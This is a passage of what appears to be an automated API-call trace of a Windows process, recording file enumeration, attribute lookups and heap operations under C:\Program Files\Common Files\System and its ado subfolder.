nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.959] GetLastError () returned 0x0 [0123.959] GetCurrentThreadId () returned 0x9b0 [0123.959] GetLastError () returned 0x0 [0123.959] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ado", cAlternateFileName="")) returned 1 [0123.959] GetLastError () returned 0x0 [0123.959] GetCurrentThreadId () returned 0x9b0 [0123.959] GetLastError () returned 0x0 [0123.959] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0123.959] GetLastError () returned 0x0 [0123.959] GetCurrentThreadId () returned 0x9b0 [0123.959] GetLastError () returned 0x0 [0123.959] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.960] GetLastError () returned 0x0 [0123.960] GetCurrentThreadId () returned 0x9b0 [0123.960] GetLastError () returned 0x0 [0123.960] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="msadc", cAlternateFileName="")) returned 1 [0123.960] GetLastError () returned 0x0 [0123.960] GetCurrentThreadId () returned 0x9b0 [0123.960] GetLastError () returned 0x0 [0123.960] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0123.960] GetLastError () returned 0x0 [0123.961] GetCurrentThreadId () returned 0x9b0 [0123.961] GetLastError () returned 0x0 [0123.961] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0123.961] GetLastError () returned 0x0 [0123.961] GetCurrentThreadId () returned 0x9b0 [0123.961] GetLastError () returned 0x0 [0123.961] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0123.961] GetLastError () returned 0x0 [0123.961] GetCurrentThreadId () returned 0x9b0 [0123.961] GetLastError () returned 0x0 [0123.961] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0123.961] GetLastError () returned 0x12 [0123.961] GetCurrentThreadId () returned 0x9b0 [0123.962] GetLastError () returned 0x12 [0123.962] GetLastError () returned 0x12 [0123.962] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0123.962] GetCurrentThreadId () returned 0x9b0 [0123.963] GetLastError () returned 0x12 [0123.963] GetLastError () returned 0x12 [0123.963] GetLastError () returned 0x12 [0123.963] GetLastError () returned 0x12 [0123.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.963] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado")) returned 0x10 [0123.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.964] GetLastError () returned 0x12 [0123.964] GetLastError () returned 0x12 [0123.964] GetLastError () returned 0x12 [0123.964] GetLastError () returned 0x12 [0123.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.965] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0123.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0123.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.965] GetCurrentThreadId () returned 0x9b0 [0123.966] GetLastError () returned 0x12 [0123.966] GetLastError () returned 0x12 [0123.966] GetLastError () returned 0x12 [0123.966] GetLastError () returned 0x12 [0123.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.966] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us")) returned 0x10 [0123.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.966] GetLastError () returned 0x12 [0123.966] GetLastError () returned 0x12 [0123.967] GetLastError () returned 0x12 [0123.967] GetLastError () returned 0x12 [0123.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.967] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc")) returned 0x10 [0123.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.968] GetCurrentThreadId () returned 0x9b0 [0123.968] GetLastError () returned 0x12 [0123.968] GetLastError () returned 0x12 [0123.968] GetLastError () returned 0x12 [0123.968] GetLastError () returned 0x12 [0123.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.968] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db")) returned 0x10 [0123.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.968] GetLastError () returned 0x12 [0123.969] GetLastError () returned 0x12 [0123.969] GetLastError () returned 0x12 [0123.969] GetLastError () returned 0x12 [0123.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.969] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0123.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.969] GetCurrentThreadId () returned 0x9b0 [0123.969] GetLastError () returned 0x12 [0123.970] GetLastError () returned 0x12 [0123.970] GetLastError () returned 0x12 [0123.970] GetLastError () returned 0x12 [0123.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.970] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0123.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.971] GetCurrentThreadId () returned 0x9b0 [0123.971] GetLastError () returned 0x12 [0123.971] GetLastError () returned 0x12 [0123.971] GetLastError () returned 0x12 [0123.971] GetLastError () returned 0x12 [0123.971] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\DirectDB.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\DirectDB.dll", lpFilePart=0x9bada4*="DirectDB.dll") returned 0x31 [0123.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0123.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0123.972] GetCurrentThreadId () returned 0x9b0 [0123.972] GetLastError () returned 0x12 [0123.972] GetLastError () returned 0x12 [0123.972] GetLastError () returned 0x12 [0123.972] GetLastError () returned 0x12 [0123.972] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\wab32.dll", lpFilePart=0x9bada4*="wab32.dll") returned 0x2e [0123.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0123.972] GetCurrentThreadId () returned 0x9b0 [0123.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0123.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.973] GetLastError () returned 0x12 [0123.973] GetLastError () returned 0x12 [0123.973] GetLastError () returned 0x12 [0123.973] GetLastError () returned 0x12 [0123.973] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\wab32res.dll", lpFilePart=0x9bada4*="wab32res.dll") returned 0x31 [0123.973] GetCurrentThreadId () returned 0x9b0 [0123.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.974] GetCurrentThreadId () returned 0x9b0 [0123.974] GetLastError () returned 0x12 [0123.974] GetLastError () returned 0x12 [0123.974] GetLastError () returned 0x12 [0123.974] GetLastError () returned 0x12 [0123.974] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0123.975] GetLastError () returned 0x12 [0123.976] GetCurrentThreadId () returned 0x9b0 [0123.976] GetLastError () returned 0x12 [0123.976] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.976] GetLastError () returned 0x12 [0123.976] GetCurrentThreadId () returned 0x9b0 [0123.976] GetLastError () returned 0x12 [0123.976] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0123.976] GetLastError () returned 0x12 [0123.976] GetCurrentThreadId () returned 0x9b0 [0123.976] GetLastError () returned 0x12 [0123.977] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0123.977] GetLastError () returned 0x12 [0123.977] GetCurrentThreadId () returned 0x9b0 [0123.977] GetLastError () returned 0x12 [0123.977] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.977] GetLastError () returned 0x12 [0123.977] GetCurrentThreadId () returned 0x9b0 [0123.977] GetLastError () returned 0x12 [0123.977] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0123.977] GetLastError () returned 0x12 [0123.977] GetCurrentThreadId () returned 0x9b0 [0123.977] GetLastError () returned 0x12 [0123.977] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x12d400, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0123.978] GetLastError () returned 0x12 [0123.978] GetCurrentThreadId () returned 0x9b0 [0123.978] GetLastError () returned 0x12 [0123.978] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0123.978] GetLastError () returned 0x12 [0123.978] GetCurrentThreadId () returned 0x9b0 [0123.978] GetLastError () returned 0x12 [0123.978] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0123.978] GetLastError () returned 0x12 [0123.978] GetCurrentThreadId () returned 0x9b0 [0123.978] GetLastError () returned 0x12 [0123.978] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0123.978] GetLastError () returned 0x12 [0123.979] GetCurrentThreadId () returned 0x9b0 [0123.979] GetLastError () returned 0x12 [0123.979] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0123.979] GetLastError () returned 0x12 [0123.979] GetCurrentThreadId () returned 0x9b0 [0123.979] GetLastError () returned 0x12 [0123.979] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0123.979] GetLastError () returned 0x12 [0123.979] GetCurrentThreadId () returned 0x9b0 [0123.979] GetLastError () returned 0x12 [0123.979] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0123.979] GetLastError () returned 0x12 [0123.979] GetCurrentThreadId () returned 0x9b0 [0123.980] GetLastError () returned 0x12 [0123.980] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6f28a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4c6f28a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4c6f28a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0123.980] GetLastError () returned 0x12 [0123.980] GetCurrentThreadId () returned 0x9b0 [0123.980] GetLastError () returned 0x12 [0123.980] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xd005e363, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x58e00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0123.980] GetLastError () returned 0x12 [0123.980] GetCurrentThreadId () returned 0x9b0 [0123.980] GetLastError () returned 0x12 [0123.980] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0123.980] GetLastError () returned 0x12 [0123.980] GetCurrentThreadId () returned 0x9b0 [0123.980] GetLastError () returned 0x12 [0123.981] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0123.981] GetLastError () returned 0x12 [0123.981] GetCurrentThreadId () returned 0x9b0 [0123.981] GetLastError () returned 0x12 [0123.981] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438ed65e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x438ed65e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x438ed65e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0123.981] GetLastError () returned 0x12 [0123.981] GetCurrentThreadId () returned 0x9b0 [0123.981] GetLastError () returned 0x12 [0123.981] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc5b43065, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x463fb128, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x62e00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0123.981] GetLastError () returned 0x12 [0123.981] GetCurrentThreadId () returned 0x9b0 [0123.981] GetLastError () returned 0x12 [0123.981] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c5ad98, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c5ad98, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c5ad98, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 